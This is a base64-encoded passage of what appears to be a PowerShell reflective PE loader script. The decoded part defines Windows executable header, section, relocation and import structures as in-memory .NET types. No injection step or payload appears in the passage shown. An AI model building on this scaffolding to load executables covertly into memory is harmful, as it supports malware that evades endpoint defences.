ZSAkSU1BR0VfT1BUSU9OQUxfSEVBREVSNjQKCgoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQs
IEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgRXhwbGljaXRMYXlvdXQsIFNlYWxlZCwgQmVmb3Jl
RmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lN
QUdFX09QVElPTkFMX0hFQURFUjMyJywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwg
MjI0KQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01hZ2ljJywgJE1hZ2ljVHlwZSwgJ1B1
YmxpYycpKS5TZXRPZmZzZXQoMCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmll
bGQoJ01ham9yTGlua2VyVmVyc2lvbicsIFtCeXRlXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMikg
fCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9yTGlua2VyVmVyc2lv
bicsIFtCeXRlXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMykgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1
aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkNvZGUnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRP
ZmZzZXQoNCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZklu
aXRpYWxpemVkRGF0YScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg4KSB8IE91dC1O
dWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mVW5pbml0aWFsaXplZERhdGEn
LCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTIpIHwgT3V0LU51bGwKCQkoJFR5cGVC
dWlsZGVyLkRlZmluZUZpZWxkKCdBZGRyZXNzT2ZFbnRyeVBvaW50JywgW1VJbnQzMl0sICdQdWJs
aWMnKSkuU2V0T2Zmc2V0KDE2KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVs
ZCgnQmFzZU9mQ29kZScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgyMCkgfCBPdXQt
TnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0Jhc2VPZkRhdGEnLCBbVUludDMyXSwg
J1B1YmxpYycpKS5TZXRPZmZzZXQoMjQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdJbWFnZUJhc2UnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjgpIHwg
T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTZWN0aW9uQWxpZ25tZW50Jywg
W1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDMyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVp
bGRlci5EZWZpbmVGaWVsZCgnRmlsZUFsaWdubWVudCcsIFtVSW50MzJdLCAnUHVibGljJykpLlNl
dE9mZnNldCgzNikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9y
T3BlcmF0aW5nU3lzdGVtVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNldCg0
MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9yT3BlcmF0aW5n
U3lzdGVtVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNldCg0MikgfCBPdXQt
TnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9ySW1hZ2VWZXJzaW9uJywgW1VJ
bnQxNl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRl
ci5EZWZpbmVGaWVsZCgnTWlub3JJbWFnZVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5T
ZXRPZmZzZXQoNDYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNYWpv
clN1YnN5c3RlbVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDgpIHwg
T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNaW5vclN1YnN5c3RlbVZlcnNp
b24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNTApIHwgT3V0LU51bGwKCQkoJFR5
cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdXaW4zMlZlcnNpb25WYWx1ZScsIFtVSW50MzJdLCAnUHVi
bGljJykpLlNldE9mZnNldCg1MikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmll
bGQoJ1NpemVPZkltYWdlJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDU2KSB8IE91
dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mSGVhZGVycycsIFtVSW50
MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg2MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIu
RGVmaW5lRmllbGQoJ0NoZWNrU3VtJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDY0
KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU3Vic3lzdGVtJywgJFN1
YlN5c3RlbVR5cGUsICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDY4KSB8IE91dC1OdWxsCgkJKCRUeXBl
QnVpbGRlci5EZWZpbmVGaWVsZCgnRGxsQ2hhcmFjdGVyaXN0aWNzJywgJERsbENoYXJhY3Rlcmlz
dGljc1R5cGUsICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDcwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVp
bGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mU3RhY2tSZXNlcnZlJywgW1VJbnQzMl0sICdQdWJsaWMn
KSkuU2V0T2Zmc2V0KDcyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgn
U2l6ZU9mU3RhY2tDb21taXQnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNzYpIHwg
T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZIZWFwUmVzZXJ2ZScs
IFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg4MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1
aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkhlYXBDb21taXQnLCBbVUludDMyXSwgJ1B1YmxpYycp
KS5TZXRPZmZzZXQoODQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdM
b2FkZXJGbGFncycsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg4OCkgfCBPdXQtTnVs
bAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ051bWJlck9mUnZhQW5kU2l6ZXMnLCBbVUlu
dDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoOTIpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVy
LkRlZmluZUZpZWxkKCdFeHBvcnRUYWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1Ymxp
YycpKS5TZXRPZmZzZXQoOTYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdJbXBvcnRUYWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZz
ZXQoMTA0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnUmVzb3VyY2VU
YWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTEyKSB8
IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnRXhjZXB0aW9uVGFibGUnLCAk
SU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyMCkgfCBPdXQtTnVs
bAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0NlcnRpZmljYXRlVGFibGUnLCAkSU1BR0Vf
REFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyOCkgfCBPdXQtTnVsbAoJCSgk
VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0Jhc2VSZWxvY2F0aW9uVGFibGUnLCAkSU1BR0VfREFU
QV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEzNikgfCBPdXQtTnVsbAoJCSgkVHlw
ZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RlYnVnJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVi
bGljJykpLlNldE9mZnNldCgxNDQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZp
ZWxkKCdBcmNoaXRlY3R1cmUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0
T2Zmc2V0KDE1MikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0dsb2Jh
bFB0cicsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTYwKSB8
IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnVExTVGFibGUnLCAkSU1BR0Vf
REFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE2OCkgfCBPdXQtTnVsbAoJCSgk
VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0xvYWRDb25maWdUYWJsZScsICRJTUFHRV9EQVRBX0RJ
UkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTc2KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVp
bGRlci5EZWZpbmVGaWVsZCgnQm91bmRJbXBvcnQnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQ
dWJsaWMnKSkuU2V0T2Zmc2V0KDE4NCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5l
RmllbGQoJ0lBVCcsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQo
MTkyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnRGVsYXlJbXBvcnRE
ZXNjcmlwdG9yJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgy
MDApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdDTFJSdW50aW1lSGVh
ZGVyJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgyMDgpIHwg
T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdSZXNlcnZlZCcsICRJTUFHRV9E
QVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjE2KSB8IE91dC1OdWxsCgkJJElN
QUdFX09QVElPTkFMX0hFQURFUjMyID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4z
MlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0Vf
T1BUSU9OQUxfSEVBREVSMzIgLVZhbHVlICRJTUFHRV9PUFRJT05BTF9IRUFERVIzMgoKCgkJJEF0
dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBTZXF1ZW50
aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxkZXIgPSAkTW9k
dWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9OVF9IRUFERVJTNjQnLCAkQXR0cmlidXRlcywg
W1N5c3RlbS5WYWx1ZVR5cGVdLCAyNjQpCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaWdu
YXR1cmUnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVm
aW5lRmllbGQoJ0ZpbGVIZWFkZXInLCAkSU1BR0VfRklMRV9IRUFERVIsICdQdWJsaWMnKSB8IE91
dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdPcHRpb25hbEhlYWRlcicsICRJTUFH
RV9PUFRJT05BTF9IRUFERVI2NCwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkSU1BR0VfTlRfSEVB
REVSUzY0ID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1l
bWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfTlRfSEVBREVSUzY0IC1W
YWx1ZSAkSU1BR0VfTlRfSEVBREVSUzY0CgkJCgoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQs
IEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgU2VxdWVudGlhbExheW91dCwgU2VhbGVkLCBCZWZv
cmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlwZSgn
SU1BR0VfTlRfSEVBREVSUzMyJywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgMjQ4
KQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2lnbmF0dXJlJywgW1VJbnQzMl0sICdQdWJs
aWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdGaWxlSGVhZGVyJywg
JElNQUdFX0ZJTEVfSEVBREVSLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E
ZWZpbmVGaWVsZCgnT3B0aW9uYWxIZWFkZXInLCAkSU1BR0VfT1BUSU9OQUxfSEVBREVSMzIsICdQ
dWJsaWMnKSB8IE91dC1OdWxsCgkJJElNQUdFX05UX0hFQURFUlMzMiA9ICRUeXBlQnVpbGRlci5D
cmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy
b3BlcnR5IC1OYW1lIElNQUdFX05UX0hFQURFUlMzMiAtVmFsdWUgJElNQUdFX05UX0hFQURFUlMz
MgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGlj
LCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxk
ZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9ET1NfSEVBREVSJywgJEF0dHJp
YnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgNjQpCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdlX21hZ2ljJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVy
LkRlZmluZUZpZWxkKCdlX2NibHAnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkk
VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfY3AnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0
LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfY3JsYycsIFtVSW50MTZdLCAnUHVi
bGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9jcGFyaGRyJywg
W1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdlX21pbmFsbG9jJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWls
ZGVyLkRlZmluZUZpZWxkKCdlX21heGFsbG9jJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1O
dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX3NzJywgW1VJbnQxNl0sICdQdWJsaWMn
KSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX3NwJywgW1VJbnQxNl0s
ICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX2NzdW0n
LCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmll
bGQoJ2VfaXAnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIu
RGVmaW5lRmllbGQoJ2VfY3MnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlw
ZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfbGZhcmxjJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91
dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX292bm8nLCBbVUludDE2XSwgJ1B1
YmxpYycpIHwgT3V0LU51bGwKCgkJJGVfcmVzRmllbGQgPSAkVHlwZUJ1aWxkZXIuRGVmaW5lRmll
bGQoJ2VfcmVzJywgW1VJbnQxNltdXSwgJ1B1YmxpYywgSGFzRmllbGRNYXJzaGFsJykKCQkkQ29u
c3RydWN0b3JWYWx1ZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuVW5tYW5hZ2Vk
VHlwZV06OkJ5VmFsQXJyYXkKCQkkRmllbGRBcnJheSA9IEAoW1N5c3RlbS5SdW50aW1lLkludGVy
b3BTZXJ2aWNlcy5NYXJzaGFsQXNBdHRyaWJ1dGVdLkdldEZpZWxkKCdTaXplQ29uc3QnKSkKCQkk
QXR0cmliQnVpbGRlciA9IE5ldy1PYmplY3QgU3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5DdXN0b21B
dHRyaWJ1dGVCdWlsZGVyKCRDb25zdHJ1Y3RvckluZm8sICRDb25zdHJ1Y3RvclZhbHVlLCAkRmll
bGRBcnJheSwgQChbSW50MzJdIDQpKQoJCSRlX3Jlc0ZpZWxkLlNldEN1c3RvbUF0dHJpYnV0ZSgk
QXR0cmliQnVpbGRlcikKCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX29lbWlkJywgW1VJ
bnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdl
X29lbWluZm8nLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCgkJJGVfcmVzMkZpZWxk
ID0gJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX3JlczInLCBbVUludDE2W11dLCAnUHVibGlj
LCBIYXNGaWVsZE1hcnNoYWwnKQoJCSRDb25zdHJ1Y3RvclZhbHVlID0gW1N5c3RlbS5SdW50aW1l
LkludGVyb3BTZXJ2aWNlcy5Vbm1hbmFnZWRUeXBlXTo6QnlWYWxBcnJheQoJCSRBdHRyaWJCdWls
ZGVyID0gTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkN1c3RvbUF0dHJpYnV0ZUJ1
aWxkZXIoJENvbnN0cnVjdG9ySW5mbywgJENvbnN0cnVjdG9yVmFsdWUsICRGaWVsZEFycmF5LCBA
KFtJbnQzMl0gMTApKQoJCSRlX3JlczJGaWVsZC5TZXRDdXN0b21BdHRyaWJ1dGUoJEF0dHJpYkJ1
aWxkZXIpCgoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9sZmFuZXcnLCBbSW50MzJdLCAn
UHVibGljJykgfCBPdXQtTnVsbAoJCSRJTUFHRV9ET1NfSEVBREVSID0gJFR5cGVCdWlsZGVyLkNy
ZWF0ZVR5cGUoKQkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy
b3BlcnR5IC1OYW1lIElNQUdFX0RPU19IRUFERVIgLVZhbHVlICRJTUFHRV9ET1NfSEVBREVSCgoK
CQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNl
cXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9
ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX1NFQ1RJT05fSEVBREVSJywgJEF0dHJp
YnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgNDApCgoJCSRuYW1lRmllbGQgPSAkVHlwZUJ1aWxk
ZXIuRGVmaW5lRmllbGQoJ05hbWUnLCBbQ2hhcltdXSwgJ1B1YmxpYywgSGFzRmllbGRNYXJzaGFs
JykKCQkkQ29uc3RydWN0b3JWYWx1ZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMu
VW5tYW5hZ2VkVHlwZV06OkJ5VmFsQXJyYXkKCQkkQXR0cmliQnVpbGRlciA9IE5ldy1PYmplY3Qg
U3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5DdXN0b21BdHRyaWJ1dGVCdWlsZGVyKCRDb25zdHJ1Y3Rv
ckluZm8sICRDb25zdHJ1Y3RvclZhbHVlLCAkRmllbGRBcnJheSwgQChbSW50MzJdIDgpKQoJCSRu
YW1lRmllbGQuU2V0Q3VzdG9tQXR0cmlidXRlKCRBdHRyaWJCdWlsZGVyKQoKCQkkVHlwZUJ1aWxk
ZXIuRGVmaW5lRmllbGQoJ1ZpcnR1YWxTaXplJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1O
dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdWaXJ0dWFsQWRkcmVzcycsIFtVSW50MzJd
LCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9m
UmF3RGF0YScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E
ZWZpbmVGaWVsZCgnUG9pbnRlclRvUmF3RGF0YScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQt
TnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnUG9pbnRlclRvUmVsb2NhdGlvbnMnLCBb
VUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQo
J1BvaW50ZXJUb0xpbmVudW1iZXJzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJ
JFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJPZlJlbG9jYXRpb25zJywgW1VJbnQxNl0s
ICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJP
ZkxpbmVudW1iZXJzJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWls
ZGVyLkRlZmluZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwg
T3V0LU51bGwKCQkkSU1BR0VfU0VDVElPTl9IRUFERVIgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlw
ZSgpCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAt
TmFtZSBJTUFHRV9TRUNUSU9OX0hFQURFUiAtVmFsdWUgJElNQUdFX1NFQ1RJT05fSEVBREVSCgoK
CQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNl
cXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9
ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX0JBU0VfUkVMT0NBVElPTicsICRBdHRy
aWJ1dGVzLCBbU3lzdGVtLlZhbHVlVHlwZV0sIDgpCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdWaXJ0dWFsQWRkcmVzcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBl
QnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mQmxvY2snLCBbVUludDMyXSwgJ1B1YmxpYycpIHwg
T3V0LU51bGwKCQkkSU1BR0VfQkFTRV9SRUxPQ0FUSU9OID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5
cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkg
LU5hbWUgSU1BR0VfQkFTRV9SRUxPQ0FUSU9OIC1WYWx1ZSAkSU1BR0VfQkFTRV9SRUxPQ0FUSU9O
CgoKCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMs
IFNlcXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRl
ciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX0lNUE9SVF9ERVNDUklQVE9SJywg
JEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgMjApCgkJJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwK
CQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1RpbWVEYXRlU3RhbXAnLCBbVUludDMyXSwgJ1B1
YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0ZvcndhcmRlckNo
YWluJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdOYW1lJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWls
ZGVyLkRlZmluZUZpZWxkKCdGaXJzdFRodW5rJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1O
dWxsCgkJJElNQUdFX0lNUE9SVF9ERVNDUklQVE9SID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUo
KQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5h
bWUgSU1BR0VfSU1QT1JUX0RFU0NSSVBUT1IgLVZhbHVlICRJTUFHRV9JTVBPUlRfREVTQ1JJUFRP
UgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGlj
LCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxk
ZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9FWFBPUlRfRElSRUNUT1JZJywg
JEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgNDApCgkJJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwK
